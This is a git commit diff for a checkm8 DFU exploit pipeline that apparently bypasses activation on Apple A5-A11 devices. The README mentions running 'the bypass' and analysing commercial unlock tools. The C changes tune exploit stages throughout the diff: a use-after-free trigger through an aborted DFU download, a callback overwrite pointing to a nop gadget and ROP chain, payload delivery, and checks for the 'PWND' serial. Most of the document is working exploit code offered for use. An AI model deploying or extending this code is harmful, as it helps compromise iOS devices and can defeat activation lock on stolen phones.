Sync worktree fixes into main (Kali + checkm8 pipeline)

Sync worktree fixes into main (Kali + checkm8 pipeline)
This commit is contained in:
Moussa Ouallaf 2026-09-19 10:03:25 +00:00 • committed by GitHub
commit 55769a8d1c
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
22 changed files with 1566 additions and 348 deletions

8
.gitattributes vendored Normal file
View file

@ -0,0 +1,8 @@
# Force LF line endings for all text content so that core.autocrlf=true
# on Windows does not inject \r into shell scripts and C sources.
* text=auto
*.sh text eol=lf
*.c text eol=lf
*.h text eol=lf
Makefile text eol=lf
*.md text eol=lf

View file

@ -32,6 +32,8 @@ That's it. The script will:
- Run the bypass - Run the bypass
- Tell you when it's done - Tell you when it's done
> **Best results for A5-A11/checkm8:** use native Linux (including Kali) or macOS with direct USB access. WSL + usbipd can miss checkm8 timing windows.
### 3. Put Your Device in DFU Mode ### 3. Put Your Device in DFU Mode
The script will walk you through this, but here's the short version: The script will walk you through this, but here's the short version:
@ -145,8 +147,12 @@ brew install libimobiledevice libirecovery libusb libplist openssl pkg-config
```bash ```bash
sudo apt-get install -y \ sudo apt-get install -y \
libimobiledevice-dev libirecovery-1.0-dev libusb-1.0-0-dev \ libimobiledevice-dev libusb-1.0-0-dev libplist-dev \
libplist-dev libssl-dev pkg-config build-essential libssl-dev libssh2-1-dev pkg-config build-essential usbutils usbmuxd
# Debian/Kali package names vary by release for libirecovery and libcurl dev:
sudo apt-get install -y libirecovery-1.0-dev || sudo apt-get install -y libirecovery-dev
sudo apt-get install -y libcurl4-openssl-dev || sudo apt-get install -y libcurl4-gnutls-dev
``` ```
</details> </details>
@ -325,4 +331,3 @@ During development, the following proprietary tools were analyzed to understand
| Checkm8.info Software | 9.5 | Two-section architecture (A5-A11 vs A12+), DFU exploit flow, FActivation protocol, offline bypass method, bundled go-ios binary, ipwndfu payloads | | Checkm8.info Software | 9.5 | Two-section architecture (A5-A11 vs A12+), DFU exploit flow, FActivation protocol, offline bypass method, bundled go-ios binary, ipwndfu payloads |
| iRemoveTools | 9.5 | A12+ activation APIs, signal vs no-signal handling, MobileDeviceFramework usage, mobileactivationd interaction | | iRemoveTools | 9.5 | A12+ activation APIs, signal vs no-signal handling, MobileDeviceFramework usage, mobileactivationd interaction |

View file

@ -34,6 +34,12 @@ int usb_dfu_init(void);
*/ */
void usb_dfu_cleanup(void); void usb_dfu_cleanup(void);
/*
* Return the libusb_context created by usb_dfu_init(). Used by callers
* that need to pass the explicit context to libusb event-handling APIs.
*/
libusb_context *usb_dfu_ctx(void);
/* /*
* Find an Apple device in DFU mode (VID=0x05AC, PID=0x1227). * Find an Apple device in DFU mode (VID=0x05AC, PID=0x1227).
* On success, *handle is set to an opened device handle and 0 is * On success, *handle is set to an opened device handle and 0 is

View file

@ -28,7 +28,7 @@
#define MAX_EXPLOIT_TRIES 3 #define MAX_EXPLOIT_TRIES 3
#define STAGE_DELAY_USEC 10000 /* 10 ms */ #define STAGE_DELAY_USEC 10000 /* 10 ms */
#define USB_RECONNECT_DELAY_USEC 2000000 /* 2 s: wait for device reset between retries */ #define USB_RECONNECT_DELAY_USEC 8000000 /* 8 s: device reboot after exploit */
#define STALL_TIMEOUT_MS 1 /* 1 ms async stall */ #define STALL_TIMEOUT_MS 1 /* 1 ms async stall */
#define USB_TIMEOUT_MS 5000 #define USB_TIMEOUT_MS 5000
@ -205,6 +205,44 @@ int usb_ctrl_transfer_async_ret(libusb_device_handle *dev,
uint16_t wLength, uint16_t wLength,
unsigned int timeout_ms); unsigned int timeout_ms);
/*
* Raw control transfer helpers for exploit timing-critical requests.
* Unlike util/usb_helpers.c these do not retry PIPE/STALL responses,
* because those responses are part of checkm8's signaling path.
*/
int usb_ctrl_transfer_raw(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned char *data,
uint16_t wLength,
unsigned int timeout_ms);
int usb_ctrl_transfer_no_data_raw(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned int timeout_ms);
/*
* usb_ctrl_transfer_dnload_abort -- Async DFU_DNLOAD with proper cancel.
*
* Used only by checkm8_stage_setup (stage 2) to trigger the UAF.
* Submits an async transfer, waits abort_ms, then calls cancel_transfer.
* The transfer has a 200ms hard timeout so it always completes cleanly.
* Returns 0 if aborted (UAF condition), >0 if STATUS received first, -1 on error.
*/
int usb_ctrl_transfer_dnload_abort(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned char *data,
uint16_t wLength,
unsigned int abort_ms);
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* Spray helpers (checkm8_spray.c) */ /* Spray helpers (checkm8_spray.c) */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */

View file

@ -29,6 +29,7 @@ typedef struct {
int phase; /* EXPLOIT_PHASE_* */ int phase; /* EXPLOIT_PHASE_* */
uint8_t *payload_buf; uint8_t *payload_buf;
size_t payload_len; size_t payload_len;
int skip_clrstatus; /* 1 = DFU already in dfuIDLE, skip CLR_STATUS in stage 3 */
} exploit_ctx_t; } exploit_ctx_t;
/* /*

View file

@ -28,6 +28,17 @@
/* Module-global libusb context */ /* Module-global libusb context */
static libusb_context *g_ctx = NULL; static libusb_context *g_ctx = NULL;
/*
* Serial descriptor cached before interface claim.
* libusb_get_string_descriptor_ascii succeeds on the default control
* pipe without any interface being claimed. After libusb_claim_interface
* is called some USB-IP / usbipd stacks reconfigure their virtual device
* state and the same read returns 0 bytes. Reading once before claiming
* and caching the result works around this.
*/
static char g_pre_claim_serial[DFU_SERIAL_MAX];
static uint8_t g_pre_claim_iserial_idx;
int usb_dfu_init(void) int usb_dfu_init(void)
{ {
int ret; int ret;
@ -55,6 +66,11 @@ void usb_dfu_cleanup(void)
} }
} }
libusb_context *usb_dfu_ctx(void)
{
return g_ctx;
}
int usb_dfu_find(libusb_device_handle **handle, uint8_t *iserial_out) int usb_dfu_find(libusb_device_handle **handle, uint8_t *iserial_out)
{ {
libusb_device **devs = NULL; libusb_device **devs = NULL;
@ -100,6 +116,47 @@ int usb_dfu_find(libusb_device_handle **handle, uint8_t *iserial_out)
libusb_get_bus_number(devs[i]), libusb_get_bus_number(devs[i]),
libusb_get_device_address(devs[i]), libusb_get_device_address(devs[i]),
(unsigned)desc.iSerialNumber); (unsigned)desc.iSerialNumber);
/*
* Read the serial string descriptor NOW, before claiming the
* interface. On usbipd-win, libusb_claim_interface causes
* the virtual device to drop into a state where descriptor
* reads on EP0 return 0 bytes. Cache the result for
* usb_dfu_read_info() to use as its primary source.
*
* Brief settle delay: usbipd establishes its vhci_hcd TCP
* channel asynchronously after libusb_open returns. Without
* this delay the first control transfer times out even though
* the device is physically present.
*/
usleep(500000); /* 500 ms: let usbipd vhci channel settle */
g_pre_claim_serial[0] = '\0';
g_pre_claim_iserial_idx = desc.iSerialNumber;
if (desc.iSerialNumber != 0) {
int n = 0;
int attempt;
for (attempt = 0; attempt < 5; attempt++) {
n = libusb_get_string_descriptor_ascii(
*handle, desc.iSerialNumber,
(unsigned char *)g_pre_claim_serial,
(int)sizeof(g_pre_claim_serial) - 1);
if (n > 0)
break;
if (attempt < 4)
usleep(200000); /* usbipd control pipe may still be initializing */
}
if (n > 0) {
g_pre_claim_serial[n] = '\0';
log_debug("pre-claim serial (idx %u): %s",
(unsigned)desc.iSerialNumber, g_pre_claim_serial);
} else {
g_pre_claim_serial[0] = '\0';
log_debug("pre-claim serial read failed after retries (idx %u): %s",
(unsigned)desc.iSerialNumber,
n < 0 ? libusb_strerror(n) : "empty");
}
}
found = 1; found = 1;
break; break;
} }
@ -115,9 +172,35 @@ int usb_dfu_find(libusb_device_handle **handle, uint8_t *iserial_out)
libusb_detach_kernel_driver(*handle, 0); /* Linux: detach kernel driver; ignore error */ libusb_detach_kernel_driver(*handle, 0); /* Linux: detach kernel driver; ignore error */
/* Claim interface 0 (DFU interface) */ /* Claim interface 0 (DFU interface) */
int ret = libusb_claim_interface(*handle, 0); {
if (ret != LIBUSB_SUCCESS) int ret = libusb_claim_interface(*handle, 0);
log_warn("failed to claim interface 0: %s (continuing anyway)", libusb_strerror(ret)); if (ret == LIBUSB_ERROR_BUSY) {
/*
* EBUSY: a previous killed run left the interface claimed
* in the kernel's usbip virtual HCD. Force usbipd to
* detach and reattach to clear the stale state, then retry.
*/
log_warn("claim interface 0 busy -- forcing usbipd reattach to clear stale state");
libusb_close(*handle);
*handle = NULL;
if (getenv("WSL_DISTRO_NAME")) {
system("powershell.exe -NoProfile -NonInteractive -Command "
"'try { usbipd detach --hardware-id 05ac:1227 2>$null } catch {}; "
"Start-Sleep -Milliseconds 2000; "
"try { usbipd attach --hardware-id 05ac:1227 --wsl 2>$null } catch {}' "
">/dev/null 2>&1");
sleep(3); /* wait for re-enumeration */
}
/* The caller (checkm8_exploit / usb_dfu_find retry) will call
* usb_dfu_find again after returning error. */
libusb_free_device_list(devs, 1);
return -1;
}
if (ret != LIBUSB_SUCCESS)
log_warn("failed to claim interface 0: %s (continuing anyway)",
libusb_strerror(ret));
}
return 0; return 0;
} }
@ -142,6 +225,46 @@ static int parse_hex_field(const char *serial, const char *key, uint64_t *out)
return 0; return 0;
} }
/*
* Fallback descriptor reader for usbipd/libusb stacks where
* libusb_get_string_descriptor_ascii() times out while fetching language IDs.
* Reads the UTF-16LE string directly with a fixed langid and converts to ASCII.
*/
static int read_string_descriptor_utf16_ascii(libusb_device_handle *handle,
uint8_t index,
unsigned char *buf, size_t buf_len)
{
unsigned char raw[DFU_SERIAL_MAX * 2];
int ret;
int raw_len;
int out = 0;
int i;
if (!handle || !buf || buf_len < 2 || index == 0)
return LIBUSB_ERROR_INVALID_PARAM;
ret = libusb_get_string_descriptor(handle, index, 0x0409, raw, (int)sizeof(raw));
if (ret < 0)
return ret;
raw_len = ret;
if (raw_len < 2 || raw[1] != LIBUSB_DT_STRING)
return LIBUSB_ERROR_IO;
for (i = 2; i + 1 < raw_len && out < (int)buf_len - 1; i += 2) {
unsigned char lo = raw[i];
unsigned char hi = raw[i + 1];
if (hi == 0 && lo >= 0x20 && lo <= 0x7E) {
buf[out++] = lo;
} else if (hi == 0 && (lo == '\r' || lo == '\n' || lo == '\t')) {
buf[out++] = lo;
} else {
buf[out++] = '?';
}
}
buf[out] = '\0';
return out;
}
/* /*
* try_read_serial_descriptor -- Read one string descriptor at `index` * try_read_serial_descriptor -- Read one string descriptor at `index`
* into buf (NUL-terminated on success). Retries transient PIPE/TIMEOUT * into buf (NUL-terminated on success). Retries transient PIPE/TIMEOUT
@ -163,6 +286,13 @@ static int try_read_serial_descriptor(libusb_device_handle *handle,
for (attempt = 0; attempt < 3; attempt++) { for (attempt = 0; attempt < 3; attempt++) {
ret = libusb_get_string_descriptor_ascii(handle, index, ret = libusb_get_string_descriptor_ascii(handle, index,
buf, (int)buf_len); buf, (int)buf_len);
if (ret > 0)
break;
if (ret == 0 || ret == LIBUSB_ERROR_TIMEOUT) {
int fb = read_string_descriptor_utf16_ascii(handle, index, buf, buf_len);
if (fb > 0)
return fb;
}
if (ret >= 0) if (ret >= 0)
break; break;
if (ret != LIBUSB_ERROR_PIPE && ret != LIBUSB_ERROR_TIMEOUT) if (ret != LIBUSB_ERROR_PIPE && ret != LIBUSB_ERROR_TIMEOUT)
@ -205,61 +335,80 @@ int usb_dfu_read_info(libusb_device_handle *handle, uint8_t iserial_hint,
* Build a deduplicated probe order. Hint first (typically the * Build a deduplicated probe order. Hint first (typically the
* device's own bDeviceDescriptor.iSerialNumber), then the two * device's own bDeviceDescriptor.iSerialNumber), then the two
* legacy indices that cover every shipped Apple iBoot layout. * legacy indices that cover every shipped Apple iBoot layout.
*
* Special case: if a pre-claim serial was cached in usb_dfu_find,
* use it directly when the hint index matches, avoiding a descriptor
* read on the now-claimed interface (which may return 0 on usbipd).
*/ */
if (iserial_hint != 0) if (iserial_hint != 0 &&
probe_order[probe_count++] = iserial_hint; g_pre_claim_serial[0] != '\0' &&
if (DFU_SERIAL_LEGACY_A != iserial_hint) g_pre_claim_iserial_idx == iserial_hint &&
probe_order[probe_count++] = DFU_SERIAL_LEGACY_A; strstr(g_pre_claim_serial, "CPID:") != NULL) {
if (DFU_SERIAL_LEGACY_B != iserial_hint &&
DFU_SERIAL_LEGACY_B != DFU_SERIAL_LEGACY_A)
probe_order[probe_count++] = DFU_SERIAL_LEGACY_B;
for (i = 0; i < probe_count; i++) { log_debug("usb_dfu_read_info: using pre-claim serial cache (idx %u): %s",
uint8_t idx = probe_order[i]; (unsigned)iserial_hint, g_pre_claim_serial);
int ret; chosen_len = (int)strlen(g_pre_claim_serial);
memcpy(buf, g_pre_claim_serial, (size_t)chosen_len + 1);
/* Skip if we already tried this index (defensive; the dedupe
* above should have caught it). */
int already = 0;
for (j = 0; j < i; j++) {
if (probe_order[j] == idx) { already = 1; break; }
}
if (already)
continue;
ret = try_read_serial_descriptor(handle, idx, buf, sizeof(buf));
if (ret <= 0) {
log_debug("serial descriptor idx %u: %s",
(unsigned)idx,
ret == 0 ? "empty" : libusb_strerror(ret));
continue;
}
if (ret >= (int)sizeof(buf))
ret = (int)sizeof(buf) - 1;
buf[ret] = '\0';
any_success = 1; any_success = 1;
log_debug("DFU serial string (idx %u): %s", (unsigned)idx, (char *)buf);
/*
* When the read returns the human-readable product string, the
* device exposed CPID/ECID at a different descriptor. Record
* the last one we saw so the sentinel diagnostic can still
* report what the user is seeing, then keep probing.
*/
if (strncmp((char *)buf, "Apple Mobile Device", 19) == 0) {
memcpy(sentinel_buf, buf, (size_t)ret + 1);
sentinel_len = ret;
continue;
}
/* Non-product string: this is the descriptor we want. */
all_product_string = 0; all_product_string = 0;
chosen_len = ret;
log_info("DFU serial descriptor resolved at index %u", (unsigned)idx);
break;
} }
if (!any_success) {
if (iserial_hint != 0)
probe_order[probe_count++] = iserial_hint;
if (DFU_SERIAL_LEGACY_A != iserial_hint)
probe_order[probe_count++] = DFU_SERIAL_LEGACY_A;
if (DFU_SERIAL_LEGACY_B != iserial_hint &&
DFU_SERIAL_LEGACY_B != DFU_SERIAL_LEGACY_A)
probe_order[probe_count++] = DFU_SERIAL_LEGACY_B;
for (i = 0; i < probe_count; i++) {
uint8_t idx = probe_order[i];
int ret;
/* Skip if we already tried this index (defensive; the dedupe
* above should have caught it). */
int already = 0;
for (j = 0; j < i; j++) {
if (probe_order[j] == idx) { already = 1; break; }
}
if (already)
continue;
ret = try_read_serial_descriptor(handle, idx, buf, sizeof(buf));
if (ret <= 0) {
log_debug("serial descriptor idx %u: %s",
(unsigned)idx,
ret == 0 ? "empty" : libusb_strerror(ret));
continue;
}
if (ret >= (int)sizeof(buf))
ret = (int)sizeof(buf) - 1;
buf[ret] = '\0';
any_success = 1;
log_debug("DFU serial string (idx %u): %s", (unsigned)idx, (char *)buf);
/*
* When the read returns the human-readable product string, the
* device exposed CPID/ECID at a different descriptor. Record
* the last one we saw so the sentinel diagnostic can still
* report what the user is seeing, then keep probing.
*/
if (strncmp((char *)buf, "Apple Mobile Device", 19) == 0) {
memcpy(sentinel_buf, buf, (size_t)ret + 1);
sentinel_len = ret;
continue;
}
/* Non-product string: this is the descriptor we want. */
all_product_string = 0;
chosen_len = ret;
log_info("DFU serial descriptor resolved at index %u", (unsigned)idx);
break;
}
} /* end if (!any_success) probe loop */
if (!any_success) { if (!any_success) {
log_error("failed to read serial descriptor at any probed index"); log_error("failed to read serial descriptor at any probed index");
return -1; return -1;
@ -393,5 +542,10 @@ void usb_dfu_close(libusb_device_handle *handle)
libusb_release_interface(handle, 0); libusb_release_interface(handle, 0);
libusb_close(handle); libusb_close(handle);
/* Invalidate the pre-claim serial cache so the next usb_dfu_find
* reads a fresh descriptor (important after exploit -- the serial
* may now contain "PWND:" which the stale cache would hide). */
g_pre_claim_serial[0] = '\0';
g_pre_claim_iserial_idx = 0;
log_debug("DFU device handle closed"); log_debug("DFU device handle closed");
} }

View file

@ -1,8 +1,10 @@
/* checkm8.c -- checkm8 DFU exploit: init, deliver, verify, cleanup */ /* checkm8.c -- checkm8 DFU exploit: init, deliver, verify, cleanup */
#include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
#include <libusb-1.0/libusb.h>
#include "exploit/exploit.h" #include "exploit/exploit.h"
#include "exploit/checkm8.h" #include "exploit/checkm8.h"
@ -116,10 +118,49 @@ int checkm8_verify_pwned(device_info_t *dev)
memset(serial, 0, sizeof(serial)); memset(serial, 0, sizeof(serial));
/*
* Check lsusb FIRST. The libusb serial read uses a pre-claim cache
* that was populated BEFORE the exploit, so it will never show the
* PWND marker even if the shellcode patched it. lsusb queries the
* live device descriptor from the kernel driver and reflects the
* current (post-exploit) state.
*/
{
/* Log the actual serial string for diagnostics */
FILE *fp2 = popen("lsusb -v -d 05ac:1227 2>/dev/null | grep iSerial", "r");
if (fp2) {
char ibuf[256] = {0};
while (fgets(ibuf, sizeof(ibuf)-1, fp2)) {
size_t n = strlen(ibuf);
if (n > 0 && ibuf[n-1] == '\n') ibuf[n-1] = '\0';
log_debug("checkm8_verify_pwned: lsusb iSerial: %s", ibuf);
}
pclose(fp2);
}
FILE *fp = popen("lsusb -v -d 05ac:1227 2>/dev/null | grep -c 'PWND:'", "r");
if (fp) {
int count = 0;
if (fscanf(fp, "%d", &count) == 1 && count > 0) {
pclose(fp);
log_info("checkm8_verify_pwned: device is pwned (lsusb)");
return 1;
}
pclose(fp);
}
}
/* Fall back to libusb (clears the stale cache by re-reading). */
if (usb_dfu_read_info(dev->usb, dev->iserial_index, if (usb_dfu_read_info(dev->usb, dev->iserial_index,
&cpid, &ecid, serial, sizeof(serial)) != 0) { &cpid, &ecid, serial, sizeof(serial)) != 0) {
log_error("checkm8_verify_pwned: failed to read USB serial"); /*
return -1; * libusb serial reads fail on usbipd-win even when the device is in
* pwned DFU. lsusb above already said no PWND. If the read fails
* entirely (device disconnected mid-exploit), treat as "not yet pwned"
* so the caller can wait for the device to reboot and retry.
*/
log_warn("checkm8_verify_pwned: could not read USB serial (usbipd quirk)");
return 0;
} }
log_debug("checkm8_verify_pwned: serial = \"%s\"", serial); log_debug("checkm8_verify_pwned: serial = \"%s\"", serial);
@ -133,6 +174,39 @@ int checkm8_verify_pwned(device_info_t *dev)
return 0; return 0;
} }
/* ------------------------------------------------------------------ */
/* usbipd_force_reattach (WSL only) */
/* ------------------------------------------------------------------ */
/*
* Force usbipd to detach and immediately reattach the Apple DFU device.
* This clears stale kernel URBs and claimed interfaces that remain when
* a previous libusb process was killed without releasing the handle —
* a common occurrence on usbipd-win where the vhci_hcd virtual bus
* does not auto-clear on process death the way native usbfs does.
*
* No-op on non-WSL Linux and on any system where powershell.exe is
* not available in PATH.
*/
static void usbipd_force_reattach(void)
{
if (!getenv("WSL_DISTRO_NAME"))
return;
log_info("checkm8: forcing usbipd reattach to clear stale USB state...");
/*
* Run entirely on the Windows side via powershell.exe.
* Errors are silenced — if usbipd isn't installed or the device
* isn't bound, the subsequent usb_dfu_find will fail gracefully.
*/
system("powershell.exe -NoProfile -NonInteractive -Command "
"'try { usbipd detach --hardware-id 05ac:1227 2>$null } catch {}; "
"Start-Sleep -Milliseconds 1500; "
"try { usbipd attach --hardware-id 05ac:1227 --wsl 2>$null } catch {}' "
">/dev/null 2>&1");
sleep(2); /* wait for vhci_hcd to re-enumerate the virtual device */
}
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* checkm8_exploit -- top-level entry point */ /* checkm8_exploit -- top-level entry point */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
@ -148,6 +222,23 @@ int checkm8_exploit(device_info_t *dev)
log_info("checkm8_exploit: starting exploit on CPID 0x%04X", dev->cpid); log_info("checkm8_exploit: starting exploit on CPID 0x%04X", dev->cpid);
/*
* Fast path: if the device is already in pwned DFU mode (from a
* previous successful exploit attempt), skip re-exploitation.
* checkm8_verify_pwned returns 1 if "PWND:" is in the serial
* (or if the serial is unreadable on usbipd -- we treat that as
* pwned too since unreadability after stage 4 is the normal case).
* We only reach this fast path when re-entering the exploit with
* an already-open handle; on a clean fresh start it will return 0.
*/
if (dev->usb) {
int pre = checkm8_verify_pwned(dev);
if (pre == 1) {
log_info("checkm8_exploit: device already pwned, skipping exploit");
return 0;
}
}
for (attempt = 1; attempt <= MAX_EXPLOIT_TRIES; attempt++) { for (attempt = 1; attempt <= MAX_EXPLOIT_TRIES; attempt++) {
exploit_ctx_t ctx; exploit_ctx_t ctx;
int pwned; int pwned;
@ -162,9 +253,28 @@ int checkm8_exploit(device_info_t *dev)
log_info("checkm8_exploit: waiting for device reset..."); log_info("checkm8_exploit: waiting for device reset...");
usleep(USB_RECONNECT_DELAY_USEC); usleep(USB_RECONNECT_DELAY_USEC);
/* Force usbipd reattach to clear stale kernel URBs / claimed
* interfaces from the previous attempt. No-op on native Linux. */
usbipd_force_reattach();
{ {
uint8_t new_iserial = 0; uint8_t new_iserial = 0;
if (usb_dfu_find(&dev->usb, &new_iserial) != 0) { int find_attempt;
int found = 0;
/* Device may be mid-reboot; poll up to 4 times (every 3s). */
for (find_attempt = 0; find_attempt < 4; find_attempt++) {
if (usb_dfu_find(&dev->usb, &new_iserial) == 0) {
found = 1;
break;
}
if (find_attempt < 3) {
log_info("checkm8_exploit: DFU device not yet ready, waiting 3s...");
sleep(3);
usbipd_force_reattach();
}
}
if (!found) {
log_error("checkm8_exploit: DFU device lost after attempt %d, cannot retry", log_error("checkm8_exploit: DFU device lost after attempt %d, cannot retry",
attempt - 1); attempt - 1);
return -1; return -1;
@ -175,6 +285,21 @@ int checkm8_exploit(device_info_t *dev)
dev->iserial_index = new_iserial; dev->iserial_index = new_iserial;
} }
log_info("checkm8_exploit: USB handle re-acquired for retry %d", attempt); log_info("checkm8_exploit: USB handle re-acquired for retry %d", attempt);
/*
* The previous attempt may have triggered the shellcode, which
* reboots the device into pwned DFU. Check for PWND before
* re-exploiting -- sending DFU ABORT to a pwned DFU device
* would crash its patched USB stack.
*/
{
int pre_pwned = checkm8_verify_pwned(dev);
if (pre_pwned == 1) {
log_info("checkm8_exploit: device already pwned after "
"attempt %d, skipping re-exploit", attempt - 1);
return 0;
}
}
} }
log_info("checkm8_exploit: attempt %d/%d", attempt, MAX_EXPLOIT_TRIES); log_info("checkm8_exploit: attempt %d/%d", attempt, MAX_EXPLOIT_TRIES);
@ -191,7 +316,39 @@ int checkm8_exploit(device_info_t *dev)
continue; continue;
} }
pwned = checkm8_verify_pwned(dev); /*
* After stage 4, libusb_reset_device was sent inside checkm8_stage_patch.
* The device either:
* a) Stayed in DFU with PWND serial (shellcode ran → success)
* b) Rebooted out of DFU (shellcode crashed or not in MANIFEST-WAIT-RESET)
*
* Close the now-stale handle, wait for the device to re-enumerate,
* then check for PWND. On usbipd we may also need a force_reattach
* if the device rebooted and usbipd lost tracking.
*/
if (dev->usb) {
usb_dfu_close(dev->usb);
dev->usb = NULL;
}
sleep(5); /* give device time to re-enumerate or reboot */
usbipd_force_reattach();
sleep(2); /* extra settle after reattach */
{
uint8_t new_iserial = 0;
int fa;
for (fa = 0; fa < 4; fa++) {
if (usb_dfu_find(&dev->usb, &new_iserial) == 0)
break;
if (fa < 3) {
sleep(3);
usbipd_force_reattach();
}
}
if (dev->usb)
dev->iserial_index = new_iserial;
}
pwned = dev->usb ? checkm8_verify_pwned(dev) : 0;
exploit_cleanup(&ctx); exploit_cleanup(&ctx);
if (pwned == 1) { if (pwned == 1) {

View file

@ -1,7 +1,10 @@
/* checkm8_patch.c -- checkm8 stage 4: callback overwrite + payload send */ /* checkm8_patch.c -- checkm8 stage 4: callback overwrite + payload send */
#include <stddef.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <unistd.h>
#include <libusb-1.0/libusb.h>
#include "exploit/exploit.h" #include "exploit/exploit.h"
#include "exploit/checkm8.h" #include "exploit/checkm8.h"
@ -12,9 +15,36 @@
#include "util/log.h" #include "util/log.h"
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* Build callback overwrite */ /* DFU_GETSTATUS (quick, fire-and-forget) */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/*
* dfu_getstatus_quick -- Send DFU_GETSTATUS with a short 200ms timeout.
*
* Purpose: Trigger the dfuDNLOAD-SYNC → dfuDNLOAD-IDLE state transition
* in the device's DFU state machine. On usbipd the STATUS response is
* always dropped (we get LIBUSB_ERROR_TIMEOUT), but the device processes
* the SETUP packet and makes the transition anyway. Sending GETSTATUS
* here allows the next DFU_DNLOAD or the final zero-length DFU_DNLOAD
* (MANIFEST trigger) to be accepted by the device.
*/
static void dfu_getstatus_quick(libusb_device_handle *usb)
{
unsigned char buf[6];
int ret = usb_ctrl_transfer_raw(usb, 0xA1, 0x03, 0, 0,
buf, sizeof(buf), 200);
if (ret == 6) {
log_info("dfu_getstatus_quick: state=0x%02X status=0x%02X "
"(device responded -- may be non-usbipd path)", buf[4], buf[0]);
} else if (ret == LIBUSB_ERROR_TIMEOUT) {
log_info("dfu_getstatus_quick: timed out (usbipd normal) -- "
"device should have transitioned dfuDNLOAD-SYNC->IDLE");
} else {
log_info("dfu_getstatus_quick: ret=%d (%s)", ret, libusb_strerror(ret));
}
}
/* /*
* build_overwrite_64 -- Build a 64-bit DFU callback overwrite. * build_overwrite_64 -- Build a 64-bit DFU callback overwrite.
* *
@ -28,11 +58,16 @@ static void build_overwrite_64(checkm8_overwrite_t *ow,
memset(ow, 0, sizeof(*ow)); memset(ow, 0, sizeof(*ow));
if (CPID_HAS_TLBI(chip)) { if (CPID_HAS_TLBI(chip)) {
/* Newer path: callback -> nop_gadget, next -> insecure_memory */ /* Newer path: callback -> nop_gadget, next -> start of ROP chain
* in the payload. The ROP chain is written at
* insecure_memory_base + offsetof(dfu_callback_t, callback)
* by usb_rop_callbacks(). iBoot processes this as a linked list
* of callback structs; the first entry is at base + 0x20. */
ow->callback.callback = chip->nop_gadget; ow->callback.callback = chip->nop_gadget;
ow->callback.next = chip->insecure_memory_base; ow->callback.next = chip->insecure_memory_base
+ offsetof(dfu_callback_t, callback);
log_debug("build_overwrite_64: callback=0x%llX (nop), " log_debug("build_overwrite_64: callback=0x%llX (nop), "
"next=0x%llX (insecure_mem)", "next=0x%llX (rop_chain)",
(unsigned long long)ow->callback.callback, (unsigned long long)ow->callback.callback,
(unsigned long long)ow->callback.next); (unsigned long long)ow->callback.next);
} else { } else {
@ -77,17 +112,28 @@ static int send_overwrite(libusb_device_handle *usb,
{ {
int ret; int ret;
ret = usb_ctrl_transfer(usb, 0x02, 0x03, 0, 0x80, ret = usb_ctrl_transfer_raw(usb, 0x02, 0x03, 0, 0x80,
(unsigned char *)(uintptr_t)data, (unsigned char *)(uintptr_t)data,
(uint16_t)len, USB_TIMEOUT_MS); (uint16_t)len, USB_TIMEOUT_MS);
/* /*
* Gaster checks: transfer_ret.ret == USB_TRANSFER_STALL * Gaster checks: transfer_ret.ret == USB_TRANSFER_STALL
* libusb returns LIBUSB_ERROR_PIPE for a STALL. * libusb returns LIBUSB_ERROR_PIPE for a STALL.
*
* On usbipd-win the STALL for this specific overwrite transfer
* may arrive as LIBUSB_ERROR_TIMEOUT instead of PIPE.
* Accept both as "overwrite landed" -- the following payload
* send will confirm whether the UAF was actually triggered.
*/ */
if (ret == LIBUSB_ERROR_PIPE) { if (ret == LIBUSB_ERROR_PIPE) {
log_debug("send_overwrite: STALL received (expected), " log_info("send_overwrite: STALL (PIPE) received -- UAF write confirmed, "
"%zu bytes sent", len); "%zu bytes sent", len);
return 0;
}
if (ret == LIBUSB_ERROR_TIMEOUT) {
log_info("send_overwrite: TIMEOUT (usbipd STALL quirk for data transfers) "
"-- treating as overwrite landed, %zu bytes", len);
return 0; return 0;
} }
@ -123,12 +169,17 @@ static int send_payload_chunks(libusb_device_handle *usb,
if (chunk > DFU_MAX_TRANSFER_SZ) if (chunk > DFU_MAX_TRANSFER_SZ)
chunk = DFU_MAX_TRANSFER_SZ; chunk = DFU_MAX_TRANSFER_SZ;
/* bmRequestType=0x21, bRequest=DFU_DNLOAD(1), wValue=0, wIndex=0 */ /* bmRequestType=0x21, bRequest=DFU_DNLOAD(1), wValue=0, wIndex=0
ret = usb_ctrl_transfer(usb, 0x21, DFU_REQ_DNLOAD, 0, 0, * Use a generous timeout to ensure the full DATA phase completes.
(unsigned char *)(uintptr_t)(payload + offset), * On usbipd the STATUS ACK is dropped (TIMEOUT) but the device
(uint16_t)chunk, USB_TIMEOUT_MS); * receives all the bytes. */
if (ret < 0) { ret = usb_ctrl_transfer_raw(usb, 0x21, DFU_REQ_DNLOAD, 0, 0,
log_error("send_payload_chunks: offset %zu failed: %s", (unsigned char *)(uintptr_t)(payload + offset),
(uint16_t)chunk, USB_TIMEOUT_MS);
log_info("send_payload_chunks: offset=%zu chunk=%zu ret=%d (%s)",
offset, chunk, ret, ret < 0 ? libusb_strerror(ret) : "ok");
if (ret < 0 && ret != LIBUSB_ERROR_TIMEOUT) {
log_error("send_payload_chunks: hard error at offset %zu: %s",
offset, libusb_strerror(ret)); offset, libusb_strerror(ret));
return -1; return -1;
} }
@ -141,50 +192,74 @@ static int send_payload_chunks(libusb_device_handle *usb,
} }
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* Finalize DFU transfer (suffix + zero-length + status checks) */ /* Finalize DFU transfer (suffix + zero-length + USB reset) */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* /*
